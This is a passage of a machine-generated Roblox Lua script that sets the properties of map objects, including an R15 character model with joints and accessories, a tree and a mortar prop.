Motor6D1163.C1 = CFrame.new(1.1920929e-07, 0.25000003, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1163.Part0 = MeshPart1164
Motor6D1163.Part1 = MeshPart1162
Motor6D1163.part1 = MeshPart1162
MeshPart1164.Name = "RightUpperArm"
MeshPart1164.Parent = Model1150
MeshPart1164.CFrame = CFrame.new(227.804855, 3.29999995, -112.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart1164.Orientation = Vector3.new(0, 90, 0)
MeshPart1164.Position = Vector3.new(227.804855, 3.29999995, -112.119537)
MeshPart1164.Rotation = Vector3.new(0, 90, 0)
MeshPart1164.Color = Color3.new(0.992157, 0.917647, 0.552941)
MeshPart1164.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart1164.Size = Vector3.new(0.999999642, 1.40000033, 0.99999994)
MeshPart1164.Anchored = true
MeshPart1164.BrickColor = BrickColor.new("Cool yellow")
MeshPart1164.CanCollide = false
MeshPart1164.brickColor = BrickColor.new("Cool yellow")
Motor6D1165.Name = "RightShoulder"
Motor6D1165.Parent = MeshPart1164
Motor6D1165.C0 = CFrame.new(1.24998045, 0.549999952, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1165.C1 = CFrame.new(-0.250020266, 0.449999809, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1165.Part0 = MeshPart1166
Motor6D1165.Part1 = MeshPart1164
Motor6D1165.part1 = MeshPart1164
MeshPart1166.Name = "UpperTorso"
MeshPart1166.Parent = Model1150
MeshPart1166.CFrame = CFrame.new(227.804855, 3.20000005, -110.619537, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart1166.Orientation = Vector3.new(0, 90, 0)
MeshPart1166.Position = Vector3.new(227.804855, 3.20000005, -110.619537)
MeshPart1166.Rotation = Vector3.new(0, 90, 0)
MeshPart1166.Color = Color3.new(0.156863, 0.498039, 0.278431)
MeshPart1166.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart1166.Size = Vector3.new(2, 1.60000014, 1.00000036)
MeshPart1166.Anchored = true
MeshPart1166.BrickColor = BrickColor.new("Dark green")
MeshPart1166.brickColor = BrickColor.new("Dark green")
Motor6D1167.Name = "Waist"
Motor6D1167.Parent = MeshPart1166
Motor6D1167.C0 = CFrame.new(-1.1920929e-07, 0.550000072, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1167.C1 = CFrame.new(-5.96046448e-08, -0.450000018, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1167.Part0 = MeshPart1180
Motor6D1167.Part1 = MeshPart1166
Motor6D1167.part1 = MeshPart1166
MeshPart1168.Name = "LeftFoot"
MeshPart1168.Parent = Model1150
MeshPart1168.CFrame = CFrame.new(227.804855, 0.150000006, -110.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart1168.Orientation = Vector3.new(0, 90, 0)
MeshPart1168.Position = Vector3.new(227.804855, 0.150000006, -110.119537)
MeshPart1168.Rotation = Vector3.new(0, 90, 0)
MeshPart1168.Color = Color3.new(0.0509804, 0.411765, 0.67451)
MeshPart1168.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart1168.Size = Vector3.new(1, 0.300000191, 1)
MeshPart1168.Anchored = true
MeshPart1168.BrickColor = BrickColor.new("Bright blue")
MeshPart1168.CanCollide = false
MeshPart1168.brickColor = BrickColor.new("Bright blue")
Motor6D1169.Name = "LeftAnkle"
Motor6D1169.Parent = MeshPart1168
Motor6D1169.C0 = CFrame.new(-1.78813934e-07, -0.749997616, 6.29340548e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1169.C1 = CFrame.new(-2.38418579e-07, 0.0500025749, 8.08154482e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1169.Part0 = MeshPart1170
Motor6D1169.Part1 = MeshPart1168
Motor6D1169.part1 = MeshPart1168
MeshPart1170.Name = "LeftLowerLeg"
MeshPart1170.Parent = Model1150
MeshPart1170.CFrame = CFrame.new(227.804855, 0.949999988, -110.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart1170.Orientation = Vector3.new(0, 90, 0)
MeshPart1170.Position = Vector3.new(227.804855, 0.949999988, -110.119537)
MeshPart1170.Rotation = Vector3.new(0, 90, 0)
MeshPart1170.Color = Color3.new(0.0509804, 0.411765, 0.67451)
MeshPart1170.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart1170.Size = Vector3.new(0.99999994, 1.50000036, 1.00000012)
MeshPart1170.Anchored = true
MeshPart1170.BrickColor = BrickColor.new("Bright blue")
MeshPart1170.CanCollide = false
MeshPart1170.brickColor = BrickColor.new("Bright blue")
Motor6D1171.Name = "LeftKnee"
Motor6D1171.Parent = MeshPart1170
Motor6D1171.C0 = CFrame.new(5.96046448e-08, -0.299999952, -1.63912773e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1171.C1 = CFrame.new(-0, 0.249999642, -1.78813934e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1171.Part0 = MeshPart1172
Motor6D1171.Part1 = MeshPart1170
Motor6D1171.part1 = MeshPart1170
MeshPart1172.Name = "LeftUpperLeg"
MeshPart1172.Parent = Model1150
MeshPart1172.CFrame = CFrame.new(227.804855, 1.5, -110.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart1172.Orientation = Vector3.new(0, 90, 0)
MeshPart1172.Position = Vector3.new(227.804855, 1.5, -110.119537)
MeshPart1172.Rotation = Vector3.new(0, 90, 0)
MeshPart1172.Color = Color3.new(0.0509804, 0.411765, 0.67451)
MeshPart1172.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart1172.Size = Vector3.new(1.00000036, 1.49999976, 0.999999881)
MeshPart1172.Anchored = true
MeshPart1172.BrickColor = BrickColor.new("Bright blue")
MeshPart1172.CanCollide = false
MeshPart1172.brickColor = BrickColor.new("Bright blue")
Motor6D1173.Name = "LeftHip"
Motor6D1173.Parent = MeshPart1172
Motor6D1173.C0 = CFrame.new(-0.500000119, -0.199999958, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1173.C1 = CFrame.new(5.96046448e-08, 0.5, -1.63912773e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1173.Part0 = MeshPart1180
Motor6D1173.Part1 = MeshPart1172
Motor6D1173.part1 = MeshPart1172
MeshPart1174.Name = "RightFoot"
MeshPart1174.Parent = Model1150
MeshPart1174.CFrame = CFrame.new(227.804855, 0.150000006, -111.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart1174.Orientation = Vector3.new(0, 90, 0)
MeshPart1174.Position = Vector3.new(227.804855, 0.150000006, -111.119537)
MeshPart1174.Rotation = Vector3.new(0, 90, 0)
MeshPart1174.Color = Color3.new(0.0509804, 0.411765, 0.67451)
MeshPart1174.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart1174.Size = Vector3.new(0.99999994, 0.300000191, 1)
MeshPart1174.Anchored = true
MeshPart1174.BrickColor = BrickColor.new("Bright blue")
MeshPart1174.CanCollide = false
MeshPart1174.brickColor = BrickColor.new("Bright blue")
Motor6D1175.Name = "RightAnkle"
Motor6D1175.Parent = MeshPart1174
Motor6D1175.C0 = CFrame.new(-0, -0.750000477, 9.82746205e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1175.C1 = CFrame.new(-0, 0.0499997139, 9.84534345e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1175.Part0 = MeshPart1176
Motor6D1175.Part1 = MeshPart1174
Motor6D1175.part1 = MeshPart1174
MeshPart1176.Name = "RightLowerLeg"
MeshPart1176.Parent = Model1150
MeshPart1176.CFrame = CFrame.new(227.804855, 0.949999988, -111.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart1176.Orientation = Vector3.new(0, 90, 0)
MeshPart1176.Position = Vector3.new(227.804855, 0.949999988, -111.119537)
MeshPart1176.Rotation = Vector3.new(0, 90, 0)
MeshPart1176.Color = Color3.new(0.0509804, 0.411765, 0.67451)
MeshPart1176.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart1176.Size = Vector3.new(0.99999994, 1.50000036, 1.00000012)
MeshPart1176.Anchored = true
MeshPart1176.BrickColor = BrickColor.new("Bright blue")
MeshPart1176.CanCollide = false
MeshPart1176.brickColor = BrickColor.new("Bright blue")
Motor6D1177.Name = "RightKnee"
Motor6D1177.Parent = MeshPart1176
Motor6D1177.C0 = CFrame.new(-0, -0.299999952, 4.36005103e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1177.C1 = CFrame.new(-0, 0.249999642, 4.35260044e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1177.Part0 = MeshPart1178
Motor6D1177.Part1 = MeshPart1176
Motor6D1177.part1 = MeshPart1176
MeshPart1178.Name = "RightUpperLeg"
MeshPart1178.Parent = Model1150
MeshPart1178.CFrame = CFrame.new(227.804855, 1.5, -111.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart1178.Orientation = Vector3.new(0, 90, 0)
MeshPart1178.Position = Vector3.new(227.804855, 1.5, -111.119537)
MeshPart1178.Rotation = Vector3.new(0, 90, 0)
MeshPart1178.Color = Color3.new(0.0509804, 0.411765, 0.67451)
MeshPart1178.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart1178.Size = Vector3.new(1.00000048, 1.49999976, 0.999999881)
MeshPart1178.Anchored = true
MeshPart1178.BrickColor = BrickColor.new("Bright blue")
MeshPart1178.CanCollide = false
MeshPart1178.brickColor = BrickColor.new("Bright blue")
Motor6D1179.Name = "RightHip"
Motor6D1179.Parent = MeshPart1178
Motor6D1179.C0 = CFrame.new(0.499999881, -0.199999958, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1179.C1 = CFrame.new(-0, 0.5, -1.04308128e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1179.Part0 = MeshPart1180
Motor6D1179.Part1 = MeshPart1178
Motor6D1179.part1 = MeshPart1178
MeshPart1180.Name = "LowerTorso"
MeshPart1180.Parent = Model1150
MeshPart1180.CFrame = CFrame.new(227.804855, 2.20000005, -110.619537, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart1180.Orientation = Vector3.new(0, 90, 0)
MeshPart1180.Position = Vector3.new(227.804855, 2.20000005, -110.619537)
MeshPart1180.Rotation = Vector3.new(0, 90, 0)
MeshPart1180.Color = Color3.new(0.156863, 0.498039, 0.278431)
MeshPart1180.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart1180.Size = Vector3.new(1.99999976, 0.399999976, 1.00000012)
MeshPart1180.Anchored = true
MeshPart1180.BrickColor = BrickColor.new("Dark green")
MeshPart1180.brickColor = BrickColor.new("Dark green")
Motor6D1181.Name = "Root"
Motor6D1181.Parent = MeshPart1180
Motor6D1181.C0 = CFrame.new(-0, -0.649999976, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1181.C1 = CFrame.new(-1.1920929e-07, 0.150000036, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1181.Part0 = Part1151
Motor6D1181.Part1 = MeshPart1180
Motor6D1181.part1 = MeshPart1180
Humanoid1182.Parent = Model1150
Humanoid1182.HipHeight = 2
Humanoid1182.LeftLeg = MeshPart1172
Humanoid1182.RigType = Enum.HumanoidRigType.R15
Humanoid1182.RightLeg = MeshPart1178
Humanoid1182.Torso = Part1151
NumberValue1183.Name = "BodyWidthScale"
NumberValue1183.Parent = Humanoid1182
NumberValue1183.Value = 1
NumberValue1184.Name = "BodyHeightScale"
NumberValue1184.Parent = Humanoid1182
NumberValue1184.Value = 1
NumberValue1185.Name = "BodyDepthScale"
NumberValue1185.Parent = Humanoid1182
NumberValue1185.Value = 1
NumberValue1186.Name = "HeadScale"
NumberValue1186.Parent = Humanoid1182
NumberValue1186.Value = 1
NumberValue1187.Name = "BodyTypeScale"
NumberValue1187.Parent = Humanoid1182
NumberValue1188.Name = "BodyProportionScale"
NumberValue1188.Parent = Humanoid1182
BoolValue1189.Name = "IsR15"
BoolValue1189.Parent = Humanoid1182
BoolValue1189.Value = true
Part1190.Name = "Head"
Part1190.Parent = Model1150
Part1190.CFrame = CFrame.new(227.804855, 4.49099922, -110.619537, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part1190.Orientation = Vector3.new(0, 90, 0)
Part1190.Position = Vector3.new(227.804855, 4.49099922, -110.619537)
Part1190.Rotation = Vector3.new(0, 90, 0)
Part1190.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part1190.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
Part1190.Size = Vector3.new(2, 1, 1)
Part1190.Anchored = true
Part1190.BottomSurface = Enum.SurfaceType.Smooth
Part1190.BrickColor = BrickColor.new("Cool yellow")
Part1190.TopSurface = Enum.SurfaceType.Smooth
Part1190.brickColor = BrickColor.new("Cool yellow")
Motor6D1191.Name = "Neck"
Motor6D1191.Parent = Part1190
Motor6D1191.C0 = CFrame.new(-5.96046448e-08, 0.799999952, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1191.C1 = CFrame.new(0, -0.490999997, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D1191.Part0 = MeshPart1166
Motor6D1191.Part1 = Part1190
Motor6D1191.part1 = Part1190
Decal1192.Name = "face"
Decal1192.Parent = Part1190
Decal1192.Texture = "rbxasset://textures/face.png"
SpecialMesh1193.Parent = Part1190
SpecialMesh1193.MeshId = "http://www.roblox.com/asset/?id=82992952"
SpecialMesh1193.Scale = Vector3.new(1.25, 1.25, 1.25)
SpecialMesh1193.MeshType = Enum.MeshType.FileMesh
StringValue1194.Name = "AvatarPartScaleType"
StringValue1194.Parent = SpecialMesh1193
StringValue1194.Value = "Classic"
Vector3Value1195.Name = "FaceCenterAttachment"
Vector3Value1195.Parent = SpecialMesh1193
Vector3Value1196.Name = "FaceFrontAttachment"
Vector3Value1196.Parent = SpecialMesh1193
Vector3Value1196.Value = Vector3.new(0, 0, -0.589999974)
Vector3Value1197.Name = "HairAttachment"
Vector3Value1197.Parent = SpecialMesh1193
Vector3Value1197.Value = Vector3.new(0, 0.589999974, -0)
Vector3Value1198.Name = "HatAttachment"
Vector3Value1198.Parent = SpecialMesh1193
Vector3Value1198.Value = Vector3.new(0, 0.589999974, -0)
Vector3Value1199.Name = "NeckRigAttachment"
Vector3Value1199.Parent = SpecialMesh1193
Vector3Value1199.Value = Vector3.new(0, -0.490999997, -0)
StringValue1200.Name = "AvatarPartScaleType"
StringValue1200.Parent = Part1190
StringValue1200.Value = "Classic"
StringValue1201.Name = "AvatarPartScaleType"
StringValue1201.Parent = Part1190
StringValue1201.Value = "Classic"
Dialog1202.Parent = Part1190
Dialog1202.InitialPrompt = "I made this map."
Accessory1203.Name = "RedFabrege"
Accessory1203.Parent = Model1150
Accessory1203.AttachmentPoint = CFrame.new(-0.0299999993, -1.13, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Accessory1203.AttachmentPos = Vector3.new(-0.0299999993, -1.13, 0)
Part1204.Name = "Handle"
Part1204.Parent = Accessory1203
Part1204.CFrame = CFrame.new(227.805115, 6.11100006, -110.649536, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part1204.Orientation = Vector3.new(0, 90, 0)
Part1204.Position = Vector3.new(227.805115, 6.11100006, -110.649536)
Part1204.Rotation = Vector3.new(0, 90, 0)
Part1204.Color = Color3.new(0.94902, 0.952941, 0.952941)
Part1204.Size = Vector3.new(1, 2, 1)
Part1204.Anchored = true
Part1204.BottomSurface = Enum.SurfaceType.Smooth
Part1204.BrickColor = BrickColor.new("White")
Part1204.CanCollide = false
Part1204.Locked = true
Part1204.TopSurface = Enum.SurfaceType.Smooth
Part1204.brickColor = BrickColor.new("White")
Part1204.FormFactor = Enum.FormFactor.Symmetric
Part1204.formFactor = Enum.FormFactor.Symmetric
SpecialMesh1205.Parent = Part1204
SpecialMesh1205.MeshId = "http://www.roblox.com/asset/?id=24829283"
SpecialMesh1205.TextureId = "http://www.roblox.com/asset/?id=24829275"
SpecialMesh1205.MeshType = Enum.MeshType.FileMesh
Weld1206.Name = "HeadWeld"
Weld1206.Parent = Part1204
Weld1206.C0 = CFrame.new(-0.02999999, -1.03000021, -0.000272244215, 1, 7.87137555e-09, -3.26223034e-24, -7.87137555e-09, 1, -4.1444221e-16, 0, 4.1444221e-16, 1)
Weld1206.C1 = CFrame.new(0, 0.589999974, -0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1)
Weld1206.Part0 = Part1204
Weld1206.Part1 = Part1190
Weld1206.part1 = Part1190
Weld1207.Name = "AccessoryWeld"
Weld1207.Parent = Part1204
Weld1207.C0 = CFrame.new(-0.02999999, -1.03000021, -0.000272244215, 1, 7.87137555e-09, -3.26223034e-24, -7.87137555e-09, 1, -4.1444221e-16, 0, 4.1444221e-16, 1)
Weld1207.C1 = CFrame.new(0, 0.589999974, -0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1)
Weld1207.Part0 = Part1204
Weld1207.Part1 = Part1190
Weld1207.part1 = Part1190
Accessory1208.Name = "RoosterDragonPal"
Accessory1208.Parent = Model1150
Accessory1208.AttachmentPoint = CFrame.new(0.314715385, -1.15544653, -0.0756194592, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Accessory1208.AttachmentPos = Vector3.new(0.314715385, -1.15544653, -0.0756194592)
Part1209.Name = "Handle"
Part1209.Parent = Accessory1208
Part1209.CFrame = CFrame.new(227.880463, 5.15544701, -108.804825, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part1209.Orientation = Vector3.new(0, 90, 0)
Part1209.Position = Vector3.new(227.880463, 5.15544701, -108.804825)
Part1209.Rotation = Vector3.new(0, 90, 0)
Part1209.Size = Vector3.new(1, 1, 1)
Part1209.Anchored = true
Part1209.BottomSurface = Enum.SurfaceType.Smooth
Part1209.CanCollide = false
Part1209.Locked = true
Part1209.TopSurface = Enum.SurfaceType.Smooth
SpecialMesh1210.Name = "SpecialMesh"
SpecialMesh1210.Parent = Part1209
SpecialMesh1210.MeshId = "rbxassetid://5636965999"
SpecialMesh1210.TextureId = "rbxassetid://5636966091"
SpecialMesh1210.MeshType = Enum.MeshType.FileMesh
StringValue1211.Name = "AvatarPartScaleType"
StringValue1211.Parent = Part1209
StringValue1211.Value = "Classic"
Weld1212.Name = "HeadWeld"
Weld1212.Parent = Part1209
Weld1212.C0 = CFrame.new(0.314715385, -1.15544653, -0.0756194592, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld1212.C1 = CFrame.new(2.38418579e-07, 0.700000286, -2.70968314e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld1212.Part0 = Part1209
Weld1212.Part1 = MeshPart1158
Weld1212.part1 = MeshPart1158
Weld1213.Name = "AccessoryWeld"
Weld1213.Parent = Part1209
Weld1213.C0 = CFrame.new(0.314715385, -1.15544653, -0.0756194592, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld1213.C1 = CFrame.new(2.38418579e-07, 0.700000286, -2.70968314e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld1213.Part0 = Part1209
Weld1213.Part1 = MeshPart1158
Weld1213.part1 = MeshPart1158
BodyColors1214.Parent = Model1150
BodyColors1214.HeadColor = BrickColor.new("New Yeller")
BodyColors1214.HeadColor3 = Color3.new(1, 1, 0)
BodyColors1214.LeftArmColor = BrickColor.new("New Yeller")
BodyColors1214.LeftArmColor3 = Color3.new(1, 1, 0)
BodyColors1214.LeftLegColor = BrickColor.new("New Yeller")
BodyColors1214.LeftLegColor3 = Color3.new(1, 1, 0)
BodyColors1214.RightArmColor = BrickColor.new("New Yeller")
BodyColors1214.RightArmColor3 = Color3.new(1, 1, 0)
BodyColors1214.RightLegColor = BrickColor.new("New Yeller")
BodyColors1214.RightLegColor3 = Color3.new(1, 1, 0)
BodyColors1214.TorsoColor = BrickColor.new("Lime green")
BodyColors1214.TorsoColor3 = Color3.new(0, 1, 0)
Model1215.Name = "Tree"
Model1215.Parent = Model319
Part1216.Parent = Model1215
Part1216.CFrame = CFrame.new(28, 11, -86, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part1216.Position = Vector3.new(28, 11, -86)
Part1216.Color = Color3.new(0.203922, 0.556863, 0.25098)
Part1216.Size = Vector3.new(10, 10, 10)
Part1216.Anchored = true
Part1216.BottomSurface = Enum.SurfaceType.Smooth
Part1216.BrickColor = BrickColor.new("Sea green")
Part1216.TopSurface = Enum.SurfaceType.Smooth
Part1216.brickColor = BrickColor.new("Sea green")
Part1216.Shape = Enum.PartType.Ball
Part1217.Parent = Model1215
Part1217.CFrame = CFrame.new(27.9040451, 5.5, -85.983078, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part1217.Position = Vector3.new(27.9040451, 5.5, -85.983078)
Part1217.Color = Color3.new(0.666667, 0.333333, 0)
Part1217.Size = Vector3.new(2, 11, 2)
Part1217.Anchored = true
Part1217.BottomSurface = Enum.SurfaceType.Smooth
Part1217.BrickColor = BrickColor.new("CGA brown")
Part1217.TopSurface = Enum.SurfaceType.Smooth
Part1217.brickColor = BrickColor.new("CGA brown")
Model1218.Name = "Mortar"
Model1218.Parent = Model319
Part1219.Parent = Model1218
Part1219.CFrame = CFrame.new(196.705002, 1.50065994, -93.4044418, 0.00128374994, -0.457646936, 0.889126718, 0.000651359558, 0.889130831, 0.457646281, -0.999999404, -4.38094139e-06, 0.00144002901)
Part1219.Orientation = Vector3.new(-27.2399998, 89.9100037, 0.0399999991)
Part1219.Position = Vector3.new(196.705002, 1.50065994, -93.4044418)
Part1219.Rotation = Vector3.new(-89.8199997, 62.7599983, 89.8399963)
Part1219.Color = Color3.new(0.388235, 0.372549, 0.384314)
Part1219.Size = Vector3.new(1, 1.20000005, 1)
Part1219.Anchored = true
Part1219.BottomSurface = Enum.SurfaceType.Smooth
Part1219.BrickColor = BrickColor.new("Dark stone grey")
Part1219.TopSurface = Enum.SurfaceType.Smooth
Part1219.brickColor = BrickColor.new("Dark stone grey")
Part1220.Parent = Model1218
Part1220.CFrame = CFrame.new(195.040726, 1.19999695, -94.4565887, 6.55651093e-07, -8.19563866e-07, 0.999994397, -1.93715096e-06, 0.99999702, -8.19563866e-07, -1.00000036, 1.93715096e-06, -6.55651093e-07)
Part1220.Orientation = Vector3.new(0, 90, 0)
Part1220.Position = Vector3.new(195.040726, 1.19999695, -94.4565887)
Part1220.Rotation = Vector3.new(128.660004, 89.8099976, 51.3400002)
Part1220.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part1220.Size = Vector3.new(1, 2.4000001, 1)
Part1220.Anchored = true
Part1220.BottomSurface = Enum.SurfaceType.Smooth
Part1220.BrickColor = BrickColor.new("Really black")
Part1220.TopSurface = Enum.SurfaceType.Smooth
Part1220.brickColor = BrickColor.new("Really black")
Weld1221.Parent = Part1220
Weld1221.C0 = CFrame.new(1.52587891e-05, -1.19999719, -1.52587891e-05, 1.00000072, 0, 0, -3.87429736e-06, 1.95330948e-14, -0.99999702, 1.31130037e-06, 0.999991775, 1.63912182e-06)
Weld1221.C1 = CFrame.new(195.04071, 9.99999619, -94.4565964, 6.55651093e-07, 0.999997377, 8.19563809e-07, -1.93715096e-06, 8.19562899e-07, -1, -1.00000036, 6.55647568e-07, 1.93715073e-06)
Weld1221.Part0 = Part1220
Weld1221.Part1 = Part1007
Weld1221.part1 = Part1007
Part1222.Parent = Model1218
Part1222.CFrame = CFrame.new(194.756409, 5.18939209, -96.8136749, 0.889141083, 0.332805157, 0.314089119, 0.457606733, -0.642616808, -0.614517152, -0.00267511955, 0.690126836, -0.723684013)
Part1222.Orientation = Vector3.new(37.9199982, 156.539993, 144.550003)
Part1222.Position = Vector3.new(194.756409, 5.18939209, -96.8136749)
Part1222.Rotation = Vector3.new(139.660004, 18.3099995, -20.5200005)
Part1222.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part1222.Size = Vector3.new(1, 0.400000006, 1)
Part1222.Anchored = true
Part1222.BottomSurface = Enum.SurfaceType.Smooth
Part1222.BrickColor = BrickColor.new("Really black")
Part1222.TopSurface = Enum.SurfaceType.Smooth
Part1222.brickColor = BrickColor.new("Really black")
Part1223.Parent = Model1218
Part1223.CFrame = CFrame.new(196.526627, 1.96479034, -96.0234985, 0.889124632, -0.406915694, 0.209440947, 0.45765242, 0.79055649, -0.406901538, 2.57045031e-07, 0.457645118, 0.889135361)
Part1223.Orientation = Vector3.new(24.0100002, 13.25, 30.0699997)
Part1223.Position = Vector3.new(196.526627, 1.96479034, -96.0234985)
Part1223.Rotation = Vector3.new(24.5900002, 12.0900002, 24.5900002)
Part1223.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part1223.Size = Vector3.new(1, 2.4000001, 1)
Part1223.Anchored = true
Part1223.BottomSurface = Enum.SurfaceType.Smooth
Part1223.BrickColor = BrickColor.new("Really black")
Part1223.TopSurface = Enum.SurfaceType.Smooth
Part1223.brickColor = BrickColor.new("Really black")
Part1224.Parent = Model1218
Part1224.CFrame = CFrame.new(197.919403, 2.6816864, -94.3522949, -6.5267086e-06, -0.813817203, -0.581111252, 1.32620335e-05, 0.581114054, -0.813818574, 1.00000048, -9.65595245e-06, 4.64916229e-06)
Part1224.Orientation = Vector3.new(54.4700012, -90, 0)
Part1224.Position = Vector3.new(197.919403, 2.6816864, -94.3522949)
Part1224.Rotation = Vector3.new(90, -35.5299988, 90)
Part1224.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part1224.Size = Vector3.new(1, 2.4000001, 1)
Part1224.Anchored = true
Part1224.BottomSurface = Enum.SurfaceType.Smooth
Part1224.BrickColor = BrickColor.new("Really black")
Part1224.TopSurface = Enum.SurfaceType.Smooth
Part1224.brickColor = BrickColor.new("Really black")
Part1225.Parent = Model1218
Part1225.CFrame = CFrame.new(195.621902, 3.51823425, -95.0197525, -0.889142871, -0.332805783, 0.314089388, -0.457607299, 0.642617464, -0.614517391, 0.00267508207, -0.690127194, -0.723683715)
Part1225.Orientation = Vector3.new(37.9199982, 156.539993, -35.4500008)
Part1225.Position = Vector3.new(195.621902, 3.51823425, -95.0197525)
Part1225.Rotation = Vector3.new(139.660004, 18.3099995, 159.479996)
Part1225.Color = Color3.new(0.388235, 0.372549, 0.384314)
Part1225.Size = Vector3.new(1, 4, 1)
Part1225.Anchored = true
Part1225.BottomSurface = Enum.SurfaceType.Smooth
Part1225.BrickColor = BrickColor.new("Dark stone grey")
Part1225.TopSurface = Enum.SurfaceType.Smooth
Part1225.brickColor = BrickColor.new("Dark stone grey")
Weld1226.Parent = Part1225
Weld1226.C0 = CFrame.new(0, 0, -0.5, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Weld1226.C1 = CFrame.new(3.81469727e-06, -0.200012207, 1.49999237, -0.999999046, 3.25962901e-08, -2.94763595e-07, -4.19095159e-09, 0, 1.00000012, 1.47614628e-07, 0.999999464, -4.76837158e-07)
Weld1226.Part0 = Part1225
Weld1226.Part1 = Part1232
Weld1226.part1 = Part1232
Part1227.Parent = Model1218
Part1227.CFrame = CFrame.new(194.889725, 4.93220139, -96.5373077, 0.889141083, 0.332805157, 0.314089119, 0.457606733, -0.642616808, -0.614517152, -0.00267511955, 0.690126836, -0.723684013)
Part1227.Orientation = Vector3.new(37.9199982, 156.539993, 144.550003)
Part1227.Position = Vector3.new(194.889725, 4.93220139, -96.5373077)
Part1227.Rotation = Vector3.new(139.660004, 18.3099995, -20.5200005)
Part1227.Color = Color3.new(0.388235, 0.372549, 0.384314)
Part1227.Size = Vector3.new(1, 0.400000006, 1)
Part1227.Anchored = true
Part1227.BottomSurface = Enum.SurfaceType.Smooth
Part1227.BrickColor = BrickColor.new("Dark stone grey")
Part1227.TopSurface = Enum.SurfaceType.Smooth
Part1227.brickColor = BrickColor.new("Dark stone grey")
Model1228.Name = "Part"
Model1228.Parent = Model1218
Model1229.Name = "GunBarrel"
Model1229.Parent = Model1228
Part1230.Name = "One"
Part1230.Parent = Model1229
Part1230.CFrame = CFrame.new(194.523392, 5.63937378, -97.2970886, -0.332805127, -0.314089119, 0.889141083, 0.642616808, 0.614517152, 0.457606733, -0.690126777, 0.723684013, -0.00267511955)
Part1230.Orientation = Vector3.new(-27.2299995, 90.1699982, 46.2799988)
Part1230.Position = Vector3.new(194.523392, 5.63937378, -97.2970886)
Part1230.Rotation = Vector3.new(-90.3300018, 62.7700005, 136.660004)
Part1230.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part1230.Transparency = 1
Part1230.Size = Vector3.new(1, 1, 1)
Part1230.Anchored = true
Part1230.BackSurface = Enum.SurfaceType.Weld
Part1230.BottomSurface = Enum.SurfaceType.Weld
Part1230.BrickColor = BrickColor.new("Really black")
Part1230.FrontSurface = Enum.SurfaceType.Weld
Part1230.LeftSurface = Enum.SurfaceType.Weld
Part1230.RightParamA = 0
Part1230.RightParamB = 0
Part1230.RightSurface = Enum.SurfaceType.Weld
Part1230.TopSurface = Enum.SurfaceType.Weld
